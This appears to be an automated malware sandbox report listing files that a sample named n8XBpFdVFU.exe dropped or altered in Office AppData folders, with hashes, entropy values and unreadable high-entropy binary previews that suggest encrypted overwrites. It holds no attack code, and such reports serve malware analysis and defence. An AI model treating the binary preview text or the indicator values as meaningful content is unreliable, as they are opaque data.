C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.978135191065383
Encrypted:	false
SSDEEP:	192:M75RVNCHjgtkKuYwB6uURg5QhciLN4z5vrb8GDy:cjNCHgcYwB6L6Isdc9
MD5:	185F82FB11B978CE7CB79127358C56B8
SHA1:	E9C6D90687EC030997213B87AF89C4851FE27F23
SHA-256:	BE28F0FF84760BFB7142DCE2F11D160F633B7B2346294BB1032F034F0ADED249
SHA-512:	16B63EC23C3E6A70D225AADBB0BFB9F743CB3004F4AAAFD7DF3CE6F61C83A1240643FC20152041B9DFA4EDB8D4CA844803CA43158AC7E6A4CBCAD90F236F0713
Malicious:	false
Preview:	.PNG..3U.D.....:.\QA\|:i.5.w..x..Y....Y..q.Y....,.0......o.qeJ....>.)..=......{....1}.$......nU.q.q.%.....S.O."..f.>......"..5M&..S..Z...E.}....2r...iI....8.@G._W....f....>Kt'...[..[...hd0..V....7.Vo.-!......:.M:."............:{..."..d,..Z.O...t...s5..x..g5).!MT..9..>...8T....Tn8`....D.U....x.c6(....p. .1..Mi..'A..E.YR$. ...k.AX.:F..:W#..9...j...[dO..T..Y..#.W..M,mH0..Y..a.z\..."$.(..~rkV.U.G..!.....$.&j\.O....".r.a:Z.HV..0S.JM..n...l.E%?..../.w6kv.bw..!4.......Jp..l.nw....D..$.....v.J..o0`b..o..L..C7.......K..$U....t.-=.$...J...q.~..I"...,e.O...4PH.hJ<..d.>B.wx.m.#....K.......h.[....@/../.6+.`\|r...0..u..Y2.VS#....-]=).....A.w.a.F._.....\|.A.}.,.5...f..@.....N.XWp.........)7yr=..A._%G....(...:.t.l...F.e^..0..H.^..L;W_....6...4MBX........@....V..C..e{.n..o...L.T. ...R.tp.}..`../.&Ez;.m.....!\y...S...qN.&.....0..]a.....[.z.%.?......Vsc..oD@............ .M.s.t...[x...v...S.N8?..Nj.f..m.~.z.[..!...NJ...A...Z.w..pj....v...7\|>~.[y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.985738029324038
Encrypted:	false
SSDEEP:	384:gVxD5U6jKqU/1unmImXH0VBMvTiTz0Tl7O3J6gp:qxD5Jbe0/MGkp7O3r
MD5:	B7B386B04DB8976FEBD976D3BB412E35
SHA1:	C0E138C3B7CD41D0D53CB33B64B44622EB8C23D7
SHA-256:	07A79DAA09BB8CC11FD6F4C6CB597693E7F6C4DA98D1C96C6740C25F5CE45AC4
SHA-512:	D5D2F3E90A859C11187A6266E6B0FA16A5E17028E3A5A2B099629BE192FEC4116D743192C789D1298F023AC7FFEF5FF3481856D0DC277B21C3D9950BF8615F65
Malicious:	false
Preview:	.PNG.j.$.....P..._....it.qz...4......[.7...h.4G.rv?...HN..?......3J: y......./.].<!d..s?.p....u..6>_....!I..r..l..8...............<..\|.QL.P.c\|..t.0h.l+.`..+.....\|...B.@..l....e.....P.q.x.4..-..[Y.i......,.3.?...&.T;[.X..,h.F...\. ...I.S....D.P....`=V6t?.Q.5...7Oj..hc....R.h......g...M..jc..H..R....p.\|.!.....<R;Te.dG&t....v.MK...N....tF.rm.....l..8......@.k.=.~q..DZ..G.~..<.`.D.\.j...=..Y!.].o7%....k.x..'........M....Yk.OKm.b.f.h...nm.s-.....P.B:.U.b...;...^....oY...@d.);...0....M#\|..6...lt..W.F._.NE15...2.K.n....$.p?ng......W...$.k_.pY y..C.[...O.O.....H.....<d+.d..>L.gH;...=.QnR...bh.Zdc!E.G\........Mb..6...sA.CCymO.,.8....W.P1.'\....l.\.{.......V~X..,4...`.\....o2.L....Wa..,.=..6`.2.,.y...Wh...K.o...:b`..&.<\1FV{....n.4^......m\|.m$..d....).n..*v..[......;......U.......g.0......E.3h.<.9.SF..y@p!.I&.<.S......".r.A. . ..O..nqcY.8@a-h...~..#.4.j?.5QZ.Z..=..D.pN..F....Y.....!...j..F..HR.;..a.....3..i../`Z.'..Q....}.{.k..Z.D8.,....C..c.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.974245922700679
Encrypted:	false
SSDEEP:	96:vdYKg5jfmAyYCoFx9EdhQhKHCSQV+HXN2pmWt+RYGhVWdbu61QHVf/G4nWrLUBIt:69EAtCyKQhKiJc3osTYGD5VHEXU+kbOP
MD5:	3CC899B40EFF77CD16C1311932B12753
SHA1:	DED7F09569FCD3900D30499A8B4E27FB5954DA3C
SHA-256:	9F1559031822B175705E77ACE0A4BEDC472CE564B8B09E5BD01DB5415F653365
SHA-512:	E5F78049255628BEEB3763F55069EBE4BD13C71B6EF8597B3133ED377F05B0117EADDF88C68B3662ADA508873DEFFBDE259A6C7BDA8283ABC0879E9CC2EE7A68
Malicious:	false
Preview:	.PNG....wsk\..`Qx...w...d@..cJ..D.G.....r.'rX..(......lhI.D..zP.p.>..t..e.c.n.z.$...0\|......._.\.._...`......J.Y-j...B.9. ......q....p...h..E..d..\|...f.c.....A.a..C.`..0...+......6.s.w.......gqV........mOJ..8.w.yBc2.....t..D..."^I..c..D,.(..`#..<.z...k@!-.I.......<0T..d.Z...9\.;...~...8..PY.fpGL.Eg...i.).c..>..]q.#v....D.E...,1.eRZ.].......K/4.Y.......IhJ...]...3).[.....`.C7..[..U......2,'.D..(..<..o.@P..1h.q>..b.kqA.......!q._}...dvk..=o....d.`{..sYy...:+...:.EF.+.].F\|RB..u.hii.n\.CR[N0.4....H.yoY...M>%. .......1........t.....$\|4AgW.M._.r....`..3..0.r...m..n.c...R.6..\|Z....KD..v.-..Gts.b.uJ.=.-........<..+.J..8'.F{..x............u..WK.iZ`.N..>.a.9{..-U...%..Q1.9[.5;...p.qJIZ.).T^.!?..;y.HQ..\Qs.>i$da!K...H.k^...4..O.+..t........z....s[.. ..>.._......w98...b.x..@...K.......N...0..`(..\|....?.......AF.\|...Nf..P.>.H...b/.......m.)...)..L.....O.3(.9.U.,.R.?..Rj.0dH2.y.....{.!K...K.( .z..%(.<.~.7.........h.wc..<....E.'..........V\|.c......,s...8+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.9635958403403615
Encrypted:	false
SSDEEP:	96:JXxUDuFKpusbTgiIddn9suf2Duo89vCB7R+AbyNnUEzn+oJ8fgDsZzWE:J8GWuXiIdN9deDY96qYyN7nzJ8HWE
MD5:	E1FEF9C36BF4B4E204C0858193022AF8
SHA1:	2E68DEFFFED9A67FF93EFB1FB5CD86FD919AC31D
SHA-256:	3072085B75900731FFD955FCF640B721B9DC31B399777E2DBCBD87EDD4A9298C
SHA-512:	279E0DF72198BDCC97783649B494028CEC4BF28C52C51519B6BA00588D6FB19C406583D001F4B5F0783918D0D674884DEC09A3AD97A4B5886F6DC08597585AC4
Malicious:	false
Preview:	.PNG....v..f'K.. ...>.....0....47.h......f\|.{^...5.]..A.\|...?.r.1.D\|x.?O.zw?pM....,t..#..\|=.. ......t!...,..jW,.=.&...8...\!....q....r.\#....../6.f.9w..H....9,g5.......CSa....FG.5.....+...B..N..:...Z.Z.F.;..........z.Ks.abm~.N.#...%>..LK\...(.q.0.e...+..uK9..%r...%\|.....1.,%a.pc..j..kk......O.i...=....ok...v\|.n......t..XT!].@..L....V..:..^h6!....=.$.rY.....pK.2.....b....bQ..t.Q.eVJ.F#..Z..$e.W.yp...i{....5a..2...../B.g.r4.......p..W...Nk..~.A.26<..;...AG]Hwr...2.k.i.=f3.V.z.gW......h}......<.3.q..@_.!...G(\|....8.<.D..t....f..K....u..T.z.%x..`:N...c.{..O.........\|..z\..)gt..1D..g....9...h..HBG.M.?.....8.....qs.v............E..q.b/.\....(.g}.1.be7....d....dW...9<of..~.c...H...&..D.?....m....~b6.......i.;Q.lO..)^j.o...np..j...98[.Dt........4..j.R....w.6C..FP..]..kS;.$E..I.....19.e.O......z]m2?#.$f..X.R.....`..s.+.5...nn..O.....X.8^k..yB=YPX..2.bh.....r...O......8.).+...:.....%G.Qx4.p..=.uyx.....W'D.._..>.lP6.5u_#hU% ....PD....R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.9771554937795495
Encrypted:	false
SSDEEP:	192:YQqG+PH0DkzVrvynq78KOJgSYwVA75xRg2yl55GsW5Qj:FEUwzVrKq4KOmwVA7GHGBWj
MD5:	ACD88E705759E624114A803833B126C2
SHA1:	89793C29CCCE9659B053260AB5644714FF24E87E
SHA-256:	3262606EC5A069ECE33A949076844ED4458881BA41658B80AC6786F17C68A2A6
SHA-512:	5E7303A6FF838616E3D35428D43811B66DD0741D50308BD32CD1FF9FA130108136CDC709C486F28339918CEBE19457C1B839E7A0997484426EA590295DF83708
Malicious:	false
Preview:	.PNG.z.\|.lX.N}.....r..C,....ckX..NzT.A.. N....R..+...A..<.It..a..7.......E..25..H..K.{..'sy..Ns........y.,.E......l.....MN(....a..%K" z8w.gu_...80.W>D0..H.j..;1.C....&....jQMo"X%..TK.._W...X...+.a./.&.M...t. W..a.b]....v..A:........nB.....t..R.#....i...y.(.:.I....p....b gE-....[.....E.Nd.....9.D._Ke..>.b.I....4\..T..Xl..r.FW....y.Jj..z...I.X.iP......^.~.....c.%.&......N.F...$...8..YX..^R....U..P.w..3~<..T.q.uC ...p..@..._H$.#6l.vR..B0.}...\|h.3s...t....!.T.L].7.....e.0.H4R}...2.....xwI.!............2rV.M..sg.~r.`W8A.f....1...t.E.....".../S$....^.j.d...E..&.).........\].B.....lB.X........l.J.....Lp.. .\|....S.............F@S.x.......h.h.,`.2.gM.J..z.~S..\|...#!.Wm....9DOM..\d&..l...R....T...e....4.!U....q.........<2.8......wR....o.&G.i./.DS.y..........-.$.~.VR..D....O..Jp...,..-.Ok.qE.g...,E.n...H5....{......A%....DZ2\1.........x ;.Z.Q....G.bhi*gF.._unE.-...@.nB.E.W'.0..y..8.$..:\|...s.-K.k.. }.2....S...X.L..Q.....W.Ib....:[..\#r^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.979928767049672
Encrypted:	false
SSDEEP:	192:804Ky7odmyBOzu4rsX4Uu/LLd1UT2JXroko+ah8fAzXZN:54+RBOzumsox/LLMT2JXZo1gUZN
MD5:	B727FD2A52DD3EA4E4D199D9DEEB2473
SHA1:	C841EC6ACF382025410EA1EC86E0CF20D0352FD0
SHA-256:	FE7D06093757EF7799C9DE3A333FB113E3A75F1999301D0E835814E0C8AB7DE0
SHA-512:	C6D78CE46A7E9E1D883954C76984EEEA13158189F5239CEC9C649E45F7CD9A40C13F71A604254AE30FC9F31C42D51FAB22B6CE1B095B41ED02D597F049D8512A
Malicious:	false
Preview:	.PNG....46F....<`.:0...s%.Ob4'".z..a..K......T..0.(K....{c....;.fp..S....6.....@.`.M.....ox..E.$...FA..i.e9 .AF.Uf-F.m(8.+..q.4.ykna...0.V..sm.SX.E..f..08u?......q .V.u.....I.\|.Brf.y.?.^.......#)....$.X..G....5`%. XZ.1]..h'..l&.A.{.0...,...v.`>.<.............~.TYP(...d.E..KU,.:P...P.1..lrI..k}.1;...,#-4..?.t.3m..W..=.n...l.Q_.......(.ik..,#.pv9.....4....>.6M_..u...p.O..<..j......5\...%)...!T..&j....=.R.b=......"Y.........y.....;.B....z..:.X.P2...t}.iflS{....6....yZ.C..z$5R.1...$....[=.u..H.....1$}X{.N>.....RP........U..zy..X.Z......x.F...qg.S.K&i..p.?.U.Z.".>..h...f..j....`'.(..&v....m.{.?.o..1>......~j..<...k..'..`R`J.U.A.\.....d.=.....vJ...T..C.:G......w.`.9.7.....~X...._o].X.K.]...<........*..},..+K.y.x.{...&t...Y.Y..JY[.`.?..Q"I....g.'7...5.04......w..X.......0mf.`Y....(.O...E[j.....Q[..@.........t....P...........'t.}J.....@..\.Uc..3.0..e..kO.^k....n.8...{4.v...T.....UF..&.l...7.i...H..8m.-.....(s...#...L...%..i.wL.d^B..pt..5..s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725546188407881
Encrypted:	false
SSDEEP:	3072:EAgSnw+f39oCmKiowPto44Z5SppCpFzoh7plxB2f/gzQzjneihNsNTAe:EInBFhmKcW4SOC3Y7z2f/KQfneihWBAe
MD5:	400FD90CC2DF1D5E96B03FC0F12A625C
SHA1:	A383DAA7248A8FEC26A02FD55102A0C94C597280
SHA-256:	1EB30B19F3FEEBD214A6F5B5F9511C694FFE99553BD64E10C77272E7B4B747F0
SHA-512:	D4C439E5BD6AFE5514311EA635B85E031BCF799E184F3EC2488D322BD81DB4B900F66F7A855C06CA73EF283FEE8E5D48FB08F65C876D2DFF375F83AF848C7F8B
Malicious:	false
Preview:	<?xml..F5b{.73/:h.\|xB..J>...K&.r>N.........-.W.z.U`.....@.........._D`.....y..K.q...&....[...f......p.q4.......}>.Q...9N.>p.J.G9.L.9......L..7..}.9:~g.i.D.-...M....c.}..k.....5....V..[....G.p.vN...\..s)W.....}...0...#J.........J.l..Fh^h.5....n.(.....,....V../E..w....2.5N...mAd.=n.....Y..M..6<360.Fg...,.Bg.S...9.e.F..>.;....$.t....94...e.k..@..w........l..M<(..&V.g..m&Y3..TkP...Y[,.U.h9.`.....B'...;B.]n......&..sR)..x.......a/KWv..r...O..l..M....!..EnRE'..IK.CB....AC....;p...P8SG.2l...T..'..3.d(...M......].(x.(Rj..Y%..1..5.....z4V...........I...h;.!..S....I.mL:..X.\|.q....^.W...n..Ai..2Qz..3.J..}.....KL.9.&}.5....p...I.....P.~;p..{..~.?..{.,....4.<m...v].....V..%...7.Ue`.u..7..l..{..EX..Q.../<.ugm.~{Y.....U.0....3n .(_P..XO.{.'^...............)......{w.A9Y6:....&....?(/..-;.@..fn...1..z..kS..I.....e...O.Y.r..>.1......0i.h.Pg.........5....i.k.m.B#U..............L.....?v..t....9LV....:......N...Lw.b..p6.(...U.H.. .sJ..W#.......*.O7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.857615301646731
Encrypted:	false
SSDEEP:	24:N473cLZ6sqFb6c6Zwbsv+eT1m/uFxDee7/mfdm0Mb9pCpC0w6Snp6HMyCLbD:GTj54v+eT1YTs/mf40A9cC0w6uxzD
MD5:	9D1126F9D691DB1073D3899D142E5B09
SHA1:	83C12953802FAD0BBE636C6F867FAC8B2A4F069D
SHA-256:	D882F74A2C3B3AD0C6DEE25413E4F2A05D57D39463562A69884F23E6E17C3FDA
SHA-512:	3ADCD8E1B97FCFDC4D924C96612ADB991AB937745ECDFCA22D80ADCA5F629C8680D57660C2FD7B85387591198999E54A265AD66A6EB74EAC9562919F694FD4BE
Malicious:	false
Preview:	<?xml0C..,...'.c.......M?.8m.d.,%=.........~..:......x\E..".e:.......tG..s.!J\..z.y...D...i..5b..~g..Z.h......K.6O.z&.z6.,...xs.p."...k6k.Up...H4...Etv..j.MTr...."..C..\.0. F..3{.yf3O).....E...t.W....xA....(...s.....o..xUS..5....e.....\..TO..^.4.z.g2.>Z4@l..W.hB.r6./._&.>_.t..g./.....C....7....%{.<...o-.gw..?.....l."..z<......H1..E ...U.<..q@.B..)...uyE]hoI.W..3........A..9Mi...........J.G..,f.Jeb.o#..A...f693.'E..\|.).J.......<...1.l.(.....m......3.......".kEi0......j.$.,...$.!S....j....C.~b.q.c...6.......A..5."..D.f.?~.-.....E...2.)....vs..)m.u.e.n.........)W.....)r..cB.Z..,.."B......t1....]..(..-..].F...]SS.&`l..v.u.....%..-..'&M.....S4.+...v.....=..O!E......`.:\...H..(.x.....-.......O..7...?$../.N.G.sfT...<...o4k.:1......Y.h.\..l....{.D.4.....]r.Ow...#...IJ.A.......2.9..*..Q.f. i@.3/.......Px..`..#p..P.gz..k.HD.I.....H.i.....[j.aa/...\...s^M.hZ...U........(..l.,C....^..../.v3..].}.`.v.X6/1ol....AZlG.EF....'.&..z.....$.,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.801172579977947
Encrypted:	false
SSDEEP:	24:/3T6WooqJ/l6UVvXL01IAtr8bkB2lz/OG5EtJJypn9bD:/OWooqJdVPAtQgB0z/O3J6n9D
MD5:	130049F3AD9BC47B1843A368B70B705F
SHA1:	B2513788CBEC082FC2CD65876A6725D22EB9E402
SHA-256:	6D04931A146B79164C70A73ED03C40A129A5433265AB8D1A800B35AC3BA1295D
SHA-512:	E6BB6A1B742DA15A5B0ADDAA0606F0FE292DE2F00F04D8FCF23A03943C970224BDD27268E9AAA255D738498E0C416677F03AAA4542AA3779BD5786A324BD9C93
Malicious:	false
Preview:	<?xml.V6..=....1]4.Ou.=R............&I..\|;...o].....T.]..l.&U.G.. 8$..............>u.i,s.V. >...G.E.`..S.i.>..#...xy.o.L..e2-....tV~F......4..I.:E.d...T....O_/2d%.Hp.f..3.P.`.".E.l..t....}.VH.'.....;q......I..C...Nc...9I....f&.......q..._.I....=...o.....L.u.qk.#\|.....PY..i...4(D.&@'.\|....\..2..Y.>...4.......l._...3.G.8p..h.H.LjC.t.....s.;.xy+0mxE8..ev.+..dM.1.u.....V.h.D..3..P.g..a..(.q?W.y.A..,.U.a#..z.o...H.!..=..<.F.U.h.bL\-..O.^t..<qS.l..FQ....h..).?4..n-6...ig..^...am[/...)J6"4...a..&W..1..m?w;...h1/.-G..........R'.Fl.CW..m.l.F7...lv".o/..+HR..a.W,...4C.8.`.A.8.....-..s...I....$..'Y.m...b..~R.G^.zN..$.....AL....N`.XL.%5.. .....h...%.p..:......'G~...k.P....3..j.i&.t..>I........\N...8..}.I.% ......_..v...k......$.......Vv.^E..0...A.s..\.....jnK..i.:8._..(:.4C.. ~.n..Z...*U...^.......}.gqSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.726752880271688
Encrypted:	false
SSDEEP:	24:AUZgboCA6VRSLBQmkLxJ965/gNLljYMbD:AYEoo0LObY1aLD
MD5:	EC02E7E469729D4A5EE92037898E731F
SHA1:	1C262B7A405D9B6D05F243FCA3BDF8C41B30EFC9
SHA-256:	F42DFA5583221153EE92C113E951FBB3E994D68379D0B662A104BF0B42EB5808
SHA-512:	960A52ECE661D643AA6195A83913C0A120448636E87B5FD483D2FCF6A56F5D341E54461310F96DA4FCE1942301F280DDBFBDBEE681D7633E11E746C8F2F09520
Malicious:	false
Preview:	<?xml~.F.7.}...C..0.^...)...r..j.\Z7...hVpa.0w.p.r.\|w1..G.f..6."9..T..%.\|;.>r.v.t'v .Zl vd..!.E_c.e..!....!........`~tF..EkzNh.h.."N....m......[\|...p".S.t.....#...w......zI.~. A.CL%.f}k-..........a.....m..zd.oD...Z.....\|...<.5=g....9..........tL.2......Ir..M....A?.F...(.}.x.D.:z-...D.{+g([ ...I.ow.Z.R..^V.2n.3%.XJ.{..<:S..O!..a..R...d...]..`.+.....2.>..._........lV..[FL..H.x..R1.p.'s.)rTa.!s...d;...s..z.#bbt...,mr..h.....h....c0.......3F.m....?...~.../%.'...4@........"s..%.=a...^.....Gbp.%..vl...\._...3....WJnR..Q.0n.%.q.b..?.bT..L.....xv......t..._.Q.~3%X..?n....6gj.c1..c...+.&..b..YW..5...c%u..,.....<..:...f.Z.V~.9O.....R......lo.......l..a.E.....\|.(1.....(.a.... .1b.....d.3.._S......Tn..'..Iw.qB.!......M....Mab.V...[V...U.wg+.q:.ka..YW.Iw........}....cR.:&.aVSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.763522579145776
Encrypted:	false
SSDEEP:	24:PLJU72cuGpjHbk0MOT5BcP0kTr1gDWuyj5DPOuzMrbD:PNVGpjbBMOT5Ba0S1RPbNzWD
MD5:	9599F452C354384FA6D91974E92AFC4B
SHA1:	C22842DAA61642FDF20C1CF5F652F2D556468B94
SHA-256:	AB52F154FE6B21069499D27D433A31602FD687A4D579C983D5120554D657974C
SHA-512:	94E5169742FF304508E14E3968AB42657BD03352A001CA76B6E4EBBB615D79115ADA0E1D0822CBF3B385835B5924413E7820D93D4913A4527ACB244868BA507A
Malicious:	false
Preview:	<?xml.....5..H......B.%.M}.7......z...9..0x..b..f./uR.CS..._.,...0...NZ.-j.h.-.k........pu.H.T..S.....@R...Dn....I#:..p.liy...k<..G.f....#_.l...r3...0..c...`....%o.....S....4..k_..fV..xz..%N.l.>..]2..Uu/ .>....T.?F.t%G....5.. ....In"d..;..12V...4.ek..<....Q]...p./........bg...G.......).....7...(%S.d.-.,DC_..0.2..K";.G.sv.Q.?.9.....{&U-...5...H..3...y1.5#.H...?...!~K..S.!....B.6.b......p...{....F.../..m.<...Mk&].D.......^..t......\|...*...,8S.c'.\...QaU..N.9@..v..-.0.J..Q^i&.x#..0....Q.$#...z_u..h...^V..._KW'....(.5?#Z,@r.2.....Cv...9....v...a..:.>G......zG....Mg..^..._.4.[.......Lto..@...s.'2..y.D.'....!..hJ..h^..$...L.......3.2.<NLz..`s..O.#.%>X9O..T..gO.A.~...H.(0B5mRu..&.`)zO......G:.b.e....!..".........h.hp..0.jyhdf.U..i.O.."..8.....\n...3.a..u..B..t...g.Z.....A.T.y.......Eh}...6..v.c..>.....JJ..])3Ps...!.R.1.U.Q.L.....f..D...tH.-#)...._......KV...[..#@..;Z.kX....eT$....0.A<..P....T..."u.l..8SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.746622112794355
Encrypted:	false
SSDEEP:	24:uMijyrUg66QXSHQpUvM8NWIriA4jP8B34JOI/RllKdbD:uMV4SHiiM8EIuMBIJJ/1OD
MD5:	7E5D6D12A4018E731ABCE5E61747FD7D
SHA1:	44BD26FA84125F201C51C2F6DFF4A06949A4B88C
SHA-256:	18869AFF28B25C6A99847453785EB38CADE8CF47BC8CDB5E1D4DE481FB010104
SHA-512:	4A35798BE6DBA20A25AF418A3DD67F3721C9C24CBEC2BB08B50A52609A17A78FC07FEB1926F8F9A5E74939778DBA7FC1CD2EF0E8466D25A3FFA9BAD1D9129B9A
Malicious:	false
Preview:	<?xml3....Z.F..Tc....4..\|f..o.A.t....Q=.-..g.....]5..?....N..N.L../M.g<l.m].V...........^.1S?..<]..L..9B.....z.m.M}.0...o..p!.I.s.-^<..\|vk..........s...F..G;sF....U.ke}~&_.........-Sm...g..a!...I...Q=.W....t.....i:xVa..GC.........:.S5....m).h...m.#......,5.q?...3!p...{......^{G.`....py..gvJg.%+..w.....c......:1[.....eQ..{2o\|.....--.(..: g6..+.-H>.N.....]g........n+h....I.Hl@...5..k"&. ?].+..lO.(5u..A...aSR.c...[...R.X.U>.m.X.Le.nBva..<n.C.!....l.....j..X>.g..`...Y..R.@.....u.....L.w..v..`...A.g.T.'.....H.....Q=....p....El..z...m.)......C.......%.=...>+.....F.5W....l....A....].1.=nCM..j.QN&..Eml...XT............K...&.4..6...>...B.q.W..).........u.4e..u.@x....cw...i...K7.....".v..}.......J!e.`..a*..+w1.(....{6Y.`g....Q...R....!-...M6...9.@...phBk@.).1......)cSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977594867149396
Encrypted:	false
SSDEEP:	192:vKThtQTWuHzxzWyyLdC9utPQ0txFlCjkIcWy5jdQjFaAVF8+w62+:yTfeTOVQOxF0QtWyuaiOP+
MD5:	AFE76C112266BA49D379C9DDF338DDBA
SHA1:	E1D30F5AA786A4FFE6331EB69696B8A3C7D4D7E7
SHA-256:	011B2F3A2B4E4EE4EF4C517ED0DEE8A74F6D6CB914217D67CF64D09C1AA40E1E
SHA-512:	F476129011DBC7481023E30F82DC8C5AEF3F082C50C6270F111F87B9BF2FFD6CF960E9041F9BB7CCFE65350787FFEEC006945ECA2613E1EF7958294BCBB9A28D
Malicious:	false
Preview:	<?xmle....y...v..\K/.....d.!]:....A..W....$..@...?..LA.......e.(_.d.....(,. ...f.....`.....>...>{-..[.4iJ......h.`..w..[....8..2Q:HU...ySFr.x...b(...".J.....Y.{L?h ....I#n.k$...R3.{L.......j......ry,....3.<.n.q...[....,X.8.....W@...[mD2.\|..v0]!.9\.~7.LY$.,Jm.....6f.....m..$.I:.(.j.r.00+.T..~.WD..k...\|j..w~.@:.H.XwCgQ..l.......[.s...}..<N%#k..^BBwt.br.q....."...g5..K...8..TO..95@+...t.A3.!3..z.K..).5...U....B..P...M...H.5.O..b15..p...)t2.Y...lFS..........f.v.}...Ux.J3.q0....~../A...-.5.. ......T.[L!..}.).c.Y.N.Z.a.?b...hI.Iw......Z.+s..@v.Z.5l[..B...I.......6..z..1p.j.Ii..k.+.3.Ij9..T..[%.?ZN..!....$....g...... ..h.%.....v.../ .Ci..4F.Y....^...Z.ml9b..6:.({.`.n..CA....1.g.T1...2..T....v.i.T~..K...c.3b_..i...E....KE......N.E..x*..N@[...}M/.E....o...-%.....w.....YdP.w.YQ.....d....Q..).T..F....".{._..k..<!...q..{n1.\...5p..D.2n.2:p.).....N.&..E(YC%`.k..'.Xy..u../..:....-:.....B.!..M.\...Q...hU$.7.\Ona.H....P...C...pw.N...5#84.../.G(Y.?.@.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.844322840228101
Encrypted:	false
SSDEEP:	24:AyjNzdNI+NgjO+iCVPOgJETMg+wdIZ2uNOf5X5vBXCnjGKmCUougoh5HbD:AwN/EKuPc46cHeX5l8JBsfD
MD5:	D318E17575DDC2BE2D7D20DAAAC446F9
SHA1:	8AC9BB95F12BAE291C8C174B434CA2EF176325B2
SHA-256:	8AA4708E2C757996E5F685D3A08375473D7A31AFF9890181D53EF27B03A123F5
SHA-512:	25B2D64A0A77E4A051E6B702697B63A820D2EEA27A5F1876E803AE165FB158E8F14B01C888EDA1DC78F6F05671C1CDFA3129A4E57D538605BE56A48EBF1EF04F
Malicious:	false
